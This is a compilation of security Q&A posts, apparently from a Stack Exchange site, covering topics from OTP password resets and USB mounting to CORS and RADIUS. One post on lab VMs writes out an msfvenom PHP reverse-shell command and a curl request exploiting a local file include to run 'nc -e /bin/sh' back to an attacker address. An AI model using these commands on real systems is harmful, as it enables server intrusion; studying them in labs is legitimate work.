When resetting a password using OTPs, how can I prevent users from bypassing the OTP input page? I am implementing the password reset functionality using OTPs (one-time passwords). When the user clicks on the 'forgot password' link, he / she is sent an OTP and is redirected to the OTP input page. After typing in the OTP, the user is then redirected to the 'update password' page.

How should I prevent any user from bypassing the OTP input page and going directly to the 'update password' page?

I know I can store the fact that the OTP input is valid in the database, and then I can check that when the 'update password' page is accessed. Are there any alternative / preferred methods to this?

This question is about how best to achieve the desired workflow without allowing the user to bypass any step. It is not related to how resistant OTPs are to attack.

Your 'update password' page should contain three fields: old password, new password and repeat new password. When visited through 'forgot password' link it should contain OTP input field instead of old password input field. You probably should not split this via redirect or something if you can help it.


Can Cisco Umbrella be Used Along with Google Classroom? We are creating an Information Assurance and Security Plan for a public school. The Plan will include Google Classroom because the school doesn’t have an online learning platform. The problem is our teacher is requiring security software to use so we have searched about Cisco Umbrella. Is it possible to use Cisco Umbrella with Google Classroom?
Note: I am a student and I don’t have much background about Information Security sorry.

If this is for on-site security you might prefer to look at:
https://pi-hole.net/
Cisco Umbrella controls DNS requests, it blocks bad ones and allows 'good' ones. Google Classroom is web-based and you will be able to set filters to allow access in the Cisco Umbrella dashboard. It is probably allowed by default. Note for students' mobile devices you will need to ensure they support the Umbrella client and/or use the school's network inc. DNS forwarder / Umbrella public IPs (previously OpenDNS) - this might be difficult to enforce, pi-hole could be a smarter move for on-site security. Meanwhile, ensure you are using Single-sign-on as much as possible: https://ed.link/community/how-to-implement-sso-for-google-classroom/


Is there a solution that shows a prompt before mounting an USB drive? Is there such thing as a prompt that asks for permission to mount an detected USB device? In order to prevent against physical attacks with USB devices.

Like "A USB device is detected would you like to mount it? Allow/Deny?". Ultimately to also "whitelist" or "blacklist" a device based on the GUID.

I'm wondering for solutions on different operating systems.

Yes, this exists on Ubuntu for example. You can set permissions that require the root password if you are mounting a drive with non-root permissions. I assume similar things exist in Windows and OSX.

However, there may be some confusion in what you refer to as physical attacks. Something like the USB Rubber Ducky: http://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe?variant=353378649 works by acting as both a storage device and a mouse, capable of clicking as if it is a legitimate user. This is similar to how Stuxnet worked, the virus used to shutdown a uranium enrichment facility in Iran. Or there's the drive that's just a huge capacitor that fries hardware: http://gizmodo.com/this-treacherous-220-volt-flash-drive-can-fry-your-comp-1736502260.

While you can definitely improve security by requiring permissions to mount storage devices, I would argue that this isn't enough to prevent against physical attacks in the sense of hardware attacks. It may be useful in stopping employees from moving confidential files around or getting past corporate firewalls by moving malicious programs on flash drives, but it won't protect against usb drives that act like other devices. For that you would have to set permissions for mounting pretty much anything, including any human interface device and not just storage.


Using a WLAN router to create an access point Would the local network administrator in my dorm be able to figure out that I'm using a WLAN router to access their wired internet connection? Assuming I'm not broadcasting the SSID.

Possibly.  The local network admin can simply just walk around with a laptop and Wifi Packet sniffer like Kismet or NetStumbler and can pretty easily see any traffic is being generated within range.  Not broadcasting your SSID won't protect you.  Even if the traffic is encrypted, the MAC addresses aren't.  MAC addresses are easily correlated to a manufacturer, like say Sony.

If you then record the MAC address, and look for it on the local LAN, you could then trace it down to an individual port, and an individual person.  Even if you hide the MAC addresses behind a router, if your traffic goes across the wired LAN it'd still be possible to do traffic analysis, and correlate WiFi Traffic with traffic that then appears on the local LAN.

The short answer is, WiFi Traffic isn't a secret, and you can't easily hide it from anyone in range to pick it up.


How can the secret and keys be read out from the bus? I heard that the attacks that focus on the bus between chip's blocks (e.g. between CPU and functional blocks / memory blocks) are possible.  The buses become the weak parts of hardware security. Then the secret such as secondary keys can be read out from the bus.

Is this kind of attack really achieved by someone or just staying at the theory stage?

If it is already a practical attack, how are the secrets read out from the bus, and is there any effective way to prevent it?  What do the chip manufactures do to reduce this risk?

Do you mean the buses between chips, or within a single chip?

If the first case, yes, it's quite practical. For example, Andrew "bunnie" Huang describes doing it in detail in chapter 8 of his book Hacking the Xbox.

In the second case, it is much harder. You need to decapsulate the chip without destroying it and then probe the wires within the chip. This can be, and is, done, but it is much more expensive. Chips can be probed with (very small) physical wires, with an electron-beam probe, or by observing infrared light emitted by PN junctions on the chip.


How do we verify identity before creating a new admin account? We are designing the security for a B2B Saas service,  the user and admin accounts are based on the customer's email addresses - typically our customers are small organisations without their own in house IT people etc

We need a secure way of verifying a request to create a new administrator account when the customer is saying the existing administrator (who would normally approve these requests) are no longer around - e.g. someone left the company in a hurry

How do we verify identity before creating a new admin account?

Thanks in advance for any help

This can be a particularly tricky problems. You're approach should match the size of your business (will your solution scale), and the sensitivity of the information.

If you look at a company like Trello, they won't change Administrators for you. If I had to guess their reason for this, it is because the risk of them exposing your data doesn't justify losing your business. Most likely, this happens to smaller companies (who don't designate multiple admins), and thus, their loss of revenue is either nothing (the customer is on the free tier) or the $3.75/month/user. It is better to lose one customer because the customer didn't have exit procedures in place than to lose many customers because a data breach occurred.

For other businesses, where larger amounts of money are involved, it may be worth the extra effort of working with the company to change the Administrator.

Put in technical barriers to prevent this from happening

The best solution is to keep this from happening in the first place. Here are some ideas you could implement:

Require two administrators at signup. You can restrict the backup administrator to have only the access to assign a new administrator. Further, you can assign a multi day delay to the assignment right, so that if the original administrator is still in play, they can veto an invalid assignment.
Require the administrator to establish a backup administrator, triggered by a dead man's switch. If the primary administrator doesn't log in after so many days, the backup administrator is promoted.
Establish a random one time use password to be delivered and retained by the company's legal counsel.

If the technical barriers aren't in place, how should you proceed?

You should encourage the company to resolve this issue by contacting the original admin, and having the admin designate a new administrator.
If the original account email was apart of a company domain, the company should use the Forgot Password feature, log into the original administrator email, and reset the password. They may have to reenable the mailbox to do this.

Last resort tactics

First things first, make sure your customers are aware of your Administrative change policy. Give them the ability to opt out or to possibly modify the terms. This should get you some additional coverage if this process is abused to expose sensitive data.

These ideas are going to require human intervention and review, it may be better to charge a fee for this process than to automate it. You want to be as diligent as possible.

Ensure no one is responding to the original email address, and that the relevant user hasn't logged in recently. This should be your first step.
Have them mail you a notarized letter on company letterhead. Obviously the letterhead can be forged, but the idea here is you want to hold some real person accountable (You have to show ID to the notary), should this process be abused. This letter should contain a random token that was emailed to the person who is sending the letter. The email should belong to the customer domain.
Account Fees. If you are authorized to make deposits against a banking account, you may be able to make three random transactions (typically, all less than a dollar), the result of the transactions should be a net balance of 0, but if the user can identify the transaction amounts, you know they have access to the banking information.
Notify other members of the company. You may want to send emails to all or a portion of the remaining users on the account that this process is taking place. If you have a phone number from the billing details, call the number. The idea is to give the company a heads up that this will take place should something nefarious be going on. Give them a phone number or email address to contact if they suspect something is wrong.


Usage of the permanent RSA private key in ECDHE-RSA-AES scheme I was wondering if in SSL/TLS negotiation process, there is another role for the RSA permanent private key in ECDHE-RSA-AES scheme besides signing the DH public key for authenticating the identity of the server in front of the client??

I know that in prior versions of SSL/TLS, the RSA permanent private key was also used for decrypting some initial information.

No, in TLS_DHE_RSA_* and TLS_ECDHE_RSA_* cipher suites, RSA is used by the server only to generate digital signatures and by the client only to verify digital signatures.


How to use a Yubikey NEO (or any OpenPGP card or GnuPG in general) to sign X.509 CSRs? Since the Yubikey NEO can be used as an OpenPGP card (see here) with three 2048 bit RSA keys, I thought about creating a CA from one of its public keys. Since the private key cannot be extracted (according to that article at least, anyway that's the point of using it first place), I can't simply use openssl ca -inkey ... to sign certificate requests.

Now before I go about trying to manually generate the string that is to be signed for a valid certificate and use gpg (which can use the Yubikey NEO) to do so, is there an easier way to do so, e.g. via gpgsm or another openssl parameter?

GnuPG 2.1.0beta2 supports signing certificates in batch mode:

  Support X.509 certificate creation.

  Using "gpgsm --genkey" allows the creation of a self-signed
  certificate via a new prompt.

  Using "gpgsm --genkey --batch" should allow the creation of arbitrary
  certificates controlled by a parameter file.  An example parameter
  file is

Key-Type: RSA
Key-Length: 1024
Key-Grip: 2C50DC6101C10C9C643E315FE3EADCCBC24F4BEA
Key-Usage: sign, encrypt
Serial: random
Name-DN: CN=some test key
Name-Email: foo@example.org
Name-Email: bar@exmaple.org
Hash-Algo: SHA384
not-after: 2038-01-16 12:44

  This creates a self-signed X.509 certificate using the key given by
  the keygrip and using SHA-384 as hash algorithm.  The keyword
  signing-key can be used to sign the certificate with a different key.
  See sm/certreggen.c for details.

(source: Commit message, also NEWS)

I got it working, here are the steps involved (Do not do this on your production system!)

You need libksba >= 1.3 (get it here)
Get the 2.1 beta 3 from ftp://ftp.gnupg.org/gcrypt/gnupg/unstable/
Create a key which will be used for signing (that's the CA key which in the real application will never leave your Open PGP card / Yubikeo NEO) - if you want to use a password (recommended if you still want to use this in production), remember that you must setup pinentry to work without your console, i.e. either use a graphical one or use screen and set GPG_TTY to the other tty when you use pinentry-curses (note to self: when the prompt shows, hit enter once to actually activate it and not use your passphrase as a cleartext command...)
Create a key which will used for the certificate (I don't know if you can also use gpgsm to sign other CSRs, you'll probably have to extract the public key in that case)
(I used one main key for the CA and its subkey for the certificate)
Obtain the Key-Grips: Either check the filenames in ~/.gnupg/private-keys-v1.d and deduce it from the creation date, or run gpg2 -K --with-key-data, search for the line containing the key ID (not the entire fingerprint, that is somehow split up and scrambled) and check the next line starting with grp:::
Create a self-signed CA certificate with the following batch input:

Key-Type: RSA
Key-Grip: E9CE7D421500AD119A4E308BC34317710AA2D57F #(replace with CA keygrip)
Key-Usage: cert
Serial: random
Name-DN: CN=Test Root CA
Hash-Algo: SHA512
not-after: 2038-01-16 12:44

and run gpgsm --gen-key --batch --output CA.crt < batchinputfile

Create a signed certificate with the following batch input:

Key-Type: RSA
Key-Grip: E308BC34317710AA2D57FE9CE7D421500AD119A4 #(replace with keygrip)
Key-Usage: sign, encrypt
Serial: random
Name-DN: CN=Tester
Issuer-DN: CN=Test Root CA
Hash-Algo: SHA512
not-after: 2038-01-16 12:44
Signing-Key: E9CE7D421500AD119A4E308BC34317710AA2D57F #(replace with CA keygrip)
Authority-Key-Id: E9CE7D421500AD119A4E308BC34317710AA2D57F #(replace with CA keygrip)

and run gpgsm --gen-key --batch --output cert.crt < batchinputfile

Some more information on possible batch parameters can be found here (incomplete doc) and in certreqgen.c; you should also manually include basicConstraints via Extension, which is by default omitted if you specify an Issuer-DN, as can be seen in the source.


Does Letsencrypt support any challenges that don't require control over HTTP or DNS? I control a machine where I can't control DNS or open HTTP port. Is there a way I could pass a LetsEncrypt challenge when I can only accept connections over HTTPS and/or a few other ports? I found that there's "Proof of Possesion" challenge that could perhaps work for me because I already have a wildcard certificate for the domain, but I can't find any docs on this one... Would it work with my use case?

It had, over HTTPS port (443):

TLS-SNI-01

But for security reason it's now (mostly) disabled:

https://community.letsencrypt.org/t/important-what-you-need-to-know-about-tls-sni-validation-issues/50811

https://community.letsencrypt.org/t/february-13-2019-end-of-life-for-all-tls-sni-01-validation-support/74209

TLS-SNI-03 is in progress:

https://tools.ietf.org/html/draft-ietf-tls-sni-encryption-03

But it's not yet available


Help Understanding PHP Reverse Shells I have recently done two different hackable VMs and had to take, after reading walkthroughs, two different approaches.
For Fristileaks 1.3, it was simple. I was able to get login credentials to the website and upload a php reverse shell. I used msfvenom for the script:
msfvenom -p php/meterpreter/reverse_tcp LHOST=xxx.xxx.x.xxx LPORT=xxxx -f raw > shell.php

I had to rename the script from shell.php to shell.php.png because the site only let me upload pictures. Once I uploaded the script, I found the url for the picture/script, set up a netcat listener on my attacking machine, and then visited the page with the script and that was enough to establish a connection between the target and attacker.
It was much more difficult to establish a connection on the Pwnlab Init VM.
Again, I gained login access to the website’s upload page.  I tried uploading the same reverse shell script but I was not able to get access after setting up a netcat listener.
What I had to do, ultimately, was upload a php backdoor script:
(/usr/share/webshells/php/simple-backdoor.php)

Then, I had to exploit the below vulnerability on the index.php page, which allows for injection into the lang cookie
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}

I then used the below curl query to pass the page with the uploaded php backdoor to the lang variable, and then netcat to my attacking machine, which I had already set to listen for a connection
curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://xxx.xxx.xxx.xxx/index.php?cmd=/bin/nc+-e+/bin/sh+xxx.xxx.xxx.xxx+xxxx

Can anybody shed any light on why it was so easy to establish a reverse shell in one instance and more involved in another?  What is going on behind the scenes in the Pwnlab VM such that visiting the URL with the uploaded reverse shell script does not work, but exploiting the lang variable with a PHP backdoor is sufficient?
I suppose you just need to have a lot of tools at your disposal and keep trying until something works, but it would help to have a concept of why one approach works and another doesn’t.

Broadly speaking, the difference appears to be that one server would treat any requested (or at least uploaded) file as PHP code - at least if it actually contained PHP code - while the other treated the uploaded file as an image when you requested it so you had to find another way to make the server treat it as code instead.

The first site was willing to treat an uploaded file as code, even though it was only supposed to be an image. For whatever reason - maybe it checked the file with libmagic, maybe it stored it in a directory assumed to only contain code, maybe something else - when you requested the file the server parsed it as code and executed it, rather than treating it as an image and serving it as static content.
The second site had a much less "toy-like" vulnerability. It didn't treat the uploaded file as code when a user simply requested the file; I imagine if you tried to request it you simply got a response with Content-Type: image/png and the actual content being the uploaded PHP code? The server didn't try to execute it, because it (incorrectly) identified the file (possibly by extension, possibly by some other means) as an image. However, the server also had an additional vulnerability, an attacker-controllable local file inclusion. The include function in PHP treats any specified file as PHP source, loading and executing it regardless of the extension. Thus, although you had to request for an actual PHP page (index.php) to invoke the PHP engine, you were then able to tell it "hey, treat this 'image' I uploaded as source code too" and gain code execution on the server.


Should things like project IDs, cloud region IDs etc be kept secret on an open source project? All my side project are open source - just using the free Github account.

I'm wondering about how security conscious I need to be about keep things like:

Google Cloud Platform Project IDs
Log Rocket project IDs
Logging email addresses

hidden on my commits.

And if they are something to be concerned about - what's the easiest way to manage them? If the stuff was solely in javascript, it's easy enough to keep it in a config-secret.json file  and add it to .gitignore. But I'm also using these values in yaml and bash script files.

Assuming that the underlying cloud providers are secure (meaning that they don't leak information from the IDs, or grant unauthorized access to change the project settings that they refer to), there's generally no real problem with the IDs being committed.  They disclose the fact that a service relationship exists, nothing more.  Of course, the rest of the code that interfaces via those IDs would also disclose that the relationship exists.

However, committing the logging email addresses is an issue.  If those email addresses are leaked, and there's enough information committed around them to reconstruct the form of the logs, it increases the risk of processing if the sender of the logs doesn't properly sign them with DKIM or such, and/or if the recipient doesn't verify that signature before acting on them.  Note that you can't really trust email logs without verifying them, regardless; because email addresses are also subject to receiving unsolicited and unwanted messages, you could end up processing some email of an improper form if you're not careful.  The probability of having to deal with such also goes up when you commit the email address into a public repository.  (If you want to test your ability to properly handle undesired submissions to that email address, by all means.  But you could also test that by sending to that email address from unapproved submission email addresses as well.)

As always, the ultimate decision to do such should be firmly rooted in your security policy, which is necessarily based on your threat assessments and mitigation strategies for those threats.  Anybody here can only express their thoughts based on their own understandings of the issues involved, and nobody here has any idea what your threat mitigation strategies are -- or even what they should be based on information that only you have.  Make wise decisions, which almost certainly don't include "accepting and acting on the word of random StackExchange members with no additional critical thought".


What do algorithms `128000` and `256000` do in `sha3sum`? I wanted to try new sha3sum so I installed libdigest-sha3-perl on Debian 10. After reading man page I quickly realized that:
sha3sum --algorithm 256 test.txt
produces similar output to sha256sum and that
sha3sum --algorithm 512 test.txt
produces similar output to sha512sum.
But I found two algorithms that don't really make sense to me:
sha3sum --algorithm 128000 test.txt

7f9c2ba4e88f827d616045507605853ed73b8093f6efbc88eb1a6eacfa66ef263cb1eea988004b93103cfb0aeefd2a686e01fa4a58e8a3639ca8a1e3f9ae57e235b8cc873c23dc62b8d260169afa2f75ab916a58d974918835d25e6a435085b2badfd6dfaac359a5efbb7bcc4b59d538df9a04302e10c8bc1cbf1a0b3a5120ea17cda7cfad765f5623474d368ccca8af0007cd9f5e4c849f167a580b14aabdefaee7eef47cb0fca9  test.txt

sha3sum --algorithm 256000 test.txt

46b9dd2b0ba88d13233b3feb743eeb243fcd52ea62b81b82b50c27646ed5762fd75dc4ddd8c0f200cb05019d67b592f6fc821c49479ab48640292eacb3b7c4be141e96616fb13957692cc7edd0b45ae3dc07223c8e92937bef84bc0eab862853349ec75546f58fb7c2775c38462c5010d846c185c15111e595522a6bcd16cf86f3d122109e3b1fdd  test.txt

Could you please tell me what is the point of 128000 and 256000? man page does not say. It doesn't produce 128000 bit output (it's shorter) but even if it did I wonder how useful 128000/256000 bit output would be...
Thank you.
Ben

... man page does not say.

It is not in the man page of sha3sum but in the documentation of the module:

Allowed values for $alg are 224, 256, 384, and 512 for the SHA3 algorithms; or 128000 and 256000 for SHAKE128 and SHAKE256, respectively.


How easy is it to find a password in a huge text file? Say that my password is PASSWORD1 I have a 10MB jumbled text file. I hide my password in two parts in the text, between > and < so I can find it myself. Then I put the 2 parts together and add the 1 by keyboard. How easy is it for security experts to find it?

Ä)e÷>WORD<ÆiW+¯S¥\«…%‹&Ìâœê–f0ãídá¾Ûùvÿ²
åŒëÐ 8ïÙtFJÍÕ9"Å¡”HŸuîP‚†ÃLjaãæôZÚ4ÊGhsg&87&
áÂ®ŠmÅ²„Ç“wcD~MÚ««BqeBY>PASS<ÒJÕþ3c§Jhew

So I can retrieve the two parts, know which order to put them and add the 1, PASSWORD1.
How safe is hiding a 30 character length password in a 10MB file. Can anybody ever figure it out? Can it be brute force cracked?

I add an example, I give no hints, what is the password?

rV\}c¸š;íâN_qy£ÆŠû]c½ìkŒCKg{ÅS¬#ˆ!“Iè§éÛJÏówgÓˆ†ü¤ªÔ#
¡<çX=áVøì4}©,5ÇÜëŸMž" ìÉºQZl’~?ùÓ“lÙ+³zyä¸Ê¯Z×LËUÃì²RÿÂ•
Ï.väÐõG6¼S'ÿ{JZ/ûrŒÇ,æÁ|ŠhþqQ×^Á¼rIn€ýtUµûH›ï•³Õ{YJÒØPÕ{
7ušÆ“ð"$‡ÆnZhµ©TÿL@MÖ¤)¯"Œ×¹ &Ð«ˆ.ÛÖõsªsoäÜh9É"1Mw˜ÚV
xÁeÇr‘"¯J§’+§I¿câ§n(ú¥!Æ‰ã•gr`rÅE[•7Z^<„íl÷æ¶"¬s®ûBõ*|
E{3áÛØÓU—%ÀÂùÉhs5IDWá@ûÀSGâœ9u-Êwª(BÜÅ3mÃ¢Ì›YÑ á~N‘~¥¼ªž(
DÀ¯¿æ'ãV˜F¦ÝjBî\{`nÂFhUÃªÖc›B¿Æ¿O òl*£HÒmQ&#÷‰1¸?ŸÇ ¯óà
1ur4sÚø±–îuÛ´n*Oã](¿™e/ì)b¤ëZòW%Ë@uf„á1xã?VTe*ã»]µªëÑ&d
<Kk³-õ®+ÐŸ5ÃmaŸ2s\Ö©þAxllÖÚõj[kñ;6ÊT‚Î”nŒ!e }è[ê•ŒÒSÖ
yÓ'Ë0îè/õTjfØ,úÍ„•u?NTÅG'Ðt!Xp‚¸ú“9áAÝ»»Ø{ ›Ç¬T[ÑºmM¡ƒ²ÿV
ÈÉsÅLÀ©ä¢I_’©>ÔÒT·žÇüyúÀBå½Õ¾÷é'Í¥’¡|¼ªú%²9° ŒU¿Uzè¯ÑÔÕ
¶œUÉÅësl]úÃl^ßNž÷éwÙì('ä‡/!yGF4‘”â“Z†^MfÿhYç&çhåxŠ}€X
´ˆøHYKå:Å¼f,Ò¤%uí;óÌ?®ÁùE%ÄãDp.Edñ†ÂXÙiÚŒÒ)Ð“Kƒp;ï²‹6f
qiª{@3;ïØýnN¶î¼SkÒŸ‡‹£92’K•˜ûÚ‹$ü²t³â‡zðŠ‰ev[ÒòìÏ¼ºˆ
gT÷Ÿè»A*Éë¬´C£VšØ·¹'vRôûì7ZgÀ`{){Þ‡mËŽ¨Ä!*|ÔŒSlÅ´'áãÀì.
ã’S·ÔüE»q4Ô#ÜòëÛFhì˜9À\àÄhé¡êhr.‡AJ;a3ørJJPÀ]½Ø²ýäUXnu

I'm not trying to be smart, I just want to understand how a specialist would go about finding it. Thank you all for your time!

I guess nobody can give me the rough numbers.

A cryptanalyst would probably just do this by hand;

This is a text file.
All printable characters.
Frequency analysis shows 2 * '<' and 2 * '>' which is true of all plaintexts, whereas all other character frequencies change, which probably means something interesting is going on.

I would say less than an hour to figure out your password scheme. Significantly faster if we have multiple text files.


How long is Key lifetime of AES-GCM key? As I know the AES-GCM used a nonce and if the two message has the same nonce then the secret key can be retrieved.
If two computers use the AES-GCM to encrypt exchange messages, then what is the key's lifetime of AES-GCM?

The answer is in the NIST 800-38D, you can access it from ACM now.

  The total number of invocations of the authenticated encryption function shall not exceed 2^32, including all IV lengths and all instances of the authenticated encryption function with
  the given key.

Note: not the secret key the message can be retrieved.


Why is the same origin policy sensible - for requests? This is not the same question as Why is the same origin policy so important?.

That one asks only about why cookies are only ever send to origin they came from, which I understand.

What I don't understand is why there's a restriction to the resources I can request from the browser, ie. why

  For security reasons, browsers restrict cross-origin HTTP requests
  initiated from within scripts. For example, XMLHttpRequest and the
  Fetch API follow the same-origin policy.

(from developer.mozilla.org)

Obviously a web application developer can always work around that restriction by delegating such requests to the app's server.

First I thought it may be so that an XSS breach into a web app doesn't allow the attacker to send critical data to himself - but that one is still possible: He just needs to send the right CORS headers from the server he owns, as the CORS headers are expected to come from the requested resource and oddly not from the origin server (as is the case with content security policies, which I again understand).

So what's the point?

I think the issue is that you might have a bit of misunderstanding about the purpose of SOP/CORS in the first place.  An important point that often gets missed is that the SOP doesn't forbid you from sending data to a different origin - it only prevents you from reading the response from the separate origin.  You say this:

  First I thought it may be so that an XSS breach into a web app doesn't
  allow the attacker to send critical data to himself

And then clarify that the attacker would still be able to send data to himself by enabling some CORS headers on the receiving server.  However, even that is not necessary.  For simple GET and POST requests the browser will still send the request to the destination server, and that server will be able to receive and act on it normally without any issue what-so-ever.  The only thing that will change as a result of the SOP is that the browser will refuse to allow the calling script to receive the response from the server [**exeception at bottom].

That's really the key.  The same-origin-policy is all about refusing to let origin A read anything from origin B unless explicitly allowed by origin B.  That is why CORS headers are set on the receiving server, not the origin server.  If someone accidentally visits evil.com we don't want javascript on that page to be able to read data from facebook.com unless facebook.com has explicitly said otherwise.

Of course the primary use-case for this is with access credentials.  The browser will automatically attach cookies from facebook.com to every single request that goes out to facebook.com, even if the javascript making the request runs on evil.com.  As a result if the SOP did not prevent cross-domain reads, anyone would be able to read your facebook profile anytime you visited any page anywhere that had javascript they control.  The browser's insistence on sending cookies with every request to a given domain (which is pretty much a requirement for many web applications to work properly) is the main impetus behind the SOP and CORS restrictions.

For a website that doesn't use authentication CORS is generally going to be a lot less important.  After all (as you say) the request could simply be made by a server and the response relayed to whatever javascript is running in the browser.  In such a case a site can even disable CORS by sending the Access-Control-Allow-Origin: * back on all requests.  Note that if a server does that it cannot also set the Access-Control-Allow-Credentials: true flag on.  Browsers do not allow you to let everyone read your stuff and also send cookies along to all requests.

All that to reiterate: SOP is all about forbidding javascript running on origin A from reading anything from origin B.  It separates out domains/protocol/port so that people are only allowed to read their own things, and is one of the most basic protections baked into web browsers.

** I said that SOP/CORS does not stop the browser from sending your request.  There is an exception to this rule.  In the event of a "non-standard" request the browser will send a "pre-flight" verification request.  Specifically, it will send a request to the endpoint with a request method of "OPTIONS", asking the server what kind of requests it will accept.  If the request being sent doesn't match then the browser will not send the request in the first place.

Edit to add

Obviously your main question is "But if no cookies are involved then why even block reads in the first place?".  I aimed to get that with my original answer, but let me try to address that more directly:

You're looking at security from the wrong perspective (in this particular case).  You're effectively looking for a reason to deny access to a particular privilege (i.e. "why can't I do that?").  A much more robust way of approaching security problems is from the opposite direction: everyone should have the minimum privileges they need and they should only be given additional access if there is a reason.  Instead of asking "Why can't I do this?" the better question is "Why should I let you do this?".

When you look at it from that perspective the default policy of the SOP to block all read requests unless explicitly authorized makes much more sense and is basically just standard security.  Yes, people can circumvent this security step by doing things like making the request via a server.  However, the fact that a security step can be circumvented doesn't mean it is a bad idea.  There are lots of ways to circumvent the lock on your car door, but that doesn't mean you should just stop locking your car.  Good web security is about defense-in-depth: layered security so that if a weakness is found in one area your system can still be secure.  The SOP and read restrictions is basically just the very first layer of security for web applications.


Is there a standard for labeling a vulnerability as an intentional backdoor? US concerns of intentional vulnerabilities placed in foreign manufactured equipment has lit up headlines.  Is there a standard that sorts (differentiates) poor-designs from intentionally placed vulnerabilities?

Example: An undocumented backdoor vulnerability is found in a system.What is the thought process to decide whether the vulnerability is intentionally placed for remote access or is a result of poor design?

Update: there may be more than one definition for backdoor.  That being said, for our purposes, a backdoor is any undocumented remote access to the system.  All responses have been thoughtful and are appreciated.

Note that this answer was written before the question was narrowed down (one month of this answer was written) to only include intentional backdoors.

I don't think there is such "standard" and I don't think there can be one. It is hard or impossible to find out if a vulnerability was accidentally added as a byproduct of bad design or bad development process, slipped through even though both design and development process were fine or was intentionally added to a good design but well hidden to look harmless as in The Underhanded C Contest etc. There are probably some cases where a specific issue can be traced back to malicious intend but in most cases this is not possible.


Common characters/statements in obfuscated JavaScript I'm trying to compile a list of common characters and statements in obfuscated JavaScript. I'm using http://aw-snap.info/articles/js-examples.php for obfuscated JS examples, but I cannot distinguish whether or not common characters/statements are actually common within obfuscated JS. Any list/source that could be more helpful? Or is it not possible? Anyone know common characters/statements in JavaScript?

Obfuscating in Javascript is usually done by generating the code dynamically. While you find older examples which make extensive use of chr(..) or base64 or lots of string concatenations detection heuristics improved to flag this kind of code as potentially malicious so that the attacked improved their methods. Typical current examples like this  are not easily distinguishable from non-malicious code.

The methods used in malicious code to decode the obfuscation are the same methods used heavily in non-malicious code, i.e. innerHTML, document.write etc. Also, Javascript provides lots of different ways to call functions like eval, among them constructing the function name from a string before calling it.

In summary: there are no characters and statements which are typical for modern obfuscated JavaScript but which you don't find anywhere else. Especially if you look at the output from minifiers which are often used to save bandwidth and improve load times, you will find more similarities between minified and obfuscated code than between minified and "normal" code.


exploiting XSS in jQuery selector My static code analyser flags this piece of Javascript on my client's web site as a potential DOM based XSS:

var x = $('#' + window.location.hash.substr(1))
x.addClass('highlighted').find('div').show();

The code is directly in $(function(){ ... } so should be run every time the page loads? (confession: I know too little about jQuery...)

Googling, I found that jQuery made exploiting code like this more difficult after this article from 2011:

http://blog.mindedsecurity.com/2011/07/jquery-is-sink.html

But attacks are still possible, one that stills works is at http://www.mjcblog.net/2011/06/jquery-selector-injection/ .

Is my client still vulnerable? I think so, but I can't come up with an exploit because I don't know jQuery well enough to really get what's going on.

Edit - since the value passed to $() always starts with # I suspect that this blocks any exploit of this, and trying it on the Firefox and Chrome console seems to confirm this - but I'm still not sure there isn't another way :)

Whether or not the client is vulnerable depends on the version of jQuery and on whether or not they are also loading jQuery migrate. I built this test site a while back, where I test different versions of jQuery against two of these bugs:
http://research.insecurelabs.org/jquery/test/

Retire.js (free open source tool maintained by me) will tell you if the versions of jQuery you have on that site are vulnerable or not: http://retirejs.github.io/retire.js/
The chrome version of Retire.js may be you preferred choice.


Would a DMZ be safe to use with a software firewall for home networking? If I set up a Windows 10 PC with a software firewall (TinyWall, which is a front end for Windows Firewall) and blocked all traffic except for a few applications and ports I would be using (Minecraft server and Plex server), would it be safe to put my machine into my router's DMZ? Would the PC, its data, or my home network be vulnerable to outside attacks?

If you router offers a real DMZ then the rest of the network would be safe even if your Windows PC is compromised. A real DMZ is a separate network which has no or only very restricted access to the internal network.

But, what most SoHo routers call DMZ is actually an exposed host, i.e. traffic from outside is forwarded to a single host inside the internal network and not into a separate network. Since this exposed host is inside the internal network and has full access to the network this setup can not be considered safe because the compromise of the exposed system could also affect the security of the other (non-exposed) systems inside the same internal network.

A real DMZ requires that the router itself provides an additional network for such exposed devices which has no access to the internal network. This network should also be physically or logically separated from the internal network, i.e. different usually with a different physical ethernet port but maybe only with VLAN. If the router only offers to forward everything to a single device inside your internal network (i.e. exposed host) you might try to make the best of it with a strictly configured additional router as exposed host which then tries to offer the real DMZ network. But since the router is placed inside the internal network you have to be really careful with the configuration so that DMZ devices cannot access the internal network.

As for the security of the exposed system itself: Even if only the Minecraft and Plex server would be reachable from outside I would not believe in security since in the past there were exploits for Minecraft server and exploits for Plex.

Apart from that most attacks against normal systems like yours are not caused by direct hacks against the system from outside but by the user inadvertently putting malware on the system by browsing (drive-by-downloads) or reading mail and opening links or attachments (i.e. from phishing mails). And the simple Windows firewall will in no way protect against this. Antivirus and similar will help better against this malware but also cannot achieve full coverage.


What is the difference between a RADIUS server and Active Directory? Why would I need a RADIUS server if my clients can connect and authenticate with Active Directory?  When do I need a RADIUS server?

Why would I need a RADIUS server if my clients can connect and
  authenticate with Active Directory?

RADIUS is an older, simple authentication mechanism which was designed to allow network devices (think: routers, VPN concentrators, switches doing Network Access Control (NAC)) to authenticate users.  It doesn't have any sort of complex membership requirements; given network connectivity and a shared secret, the device has all it needs to test users' authentication credentials.

Active Directory offers a couple of more complex authentication mechanisms, such as LDAP, NTLM, and Kerberos.  These may have more complex requirements - for example, the device trying to authenticate users may itself need valid credentials to use within Active Directory.

  When do I need a RADIUS server?

When you have a device to set up that wants to do simple, easy authentication, and that device isn't already a member of the Active Directory domain:

Network Access Control for your wired or wireless network clients
Web proxy "toasters" that require user authentication
Routers which your network admins want to log into without setting up the same account each and every place

In the comments @johnny asks:

  Why would someone recommend a RADIUS and AD combination? Just a
  two-step authentication for layered security?

A very common combo is two factor authentication with One Time Passwords (OTP) over RADIUS combined with AD.  Something like RSA SecurID, for example, which primarily processes requests via RADIUS.  And yes, the two factors are designed to increase security ("Something you have + Something you know")

It's also possible to install RADIUS for Active Directory to allow clients (like routers, switches, ...) to authenticate AD users via RADIUS.  I haven't installed it since 2006 or so, but it looks like it's now part of Microsoft's Network Policy Server.


Key reinstallation attack how does it work without a pre-shared key? The author of the key reinstallation attack released scripts on Github to test AP and clients.
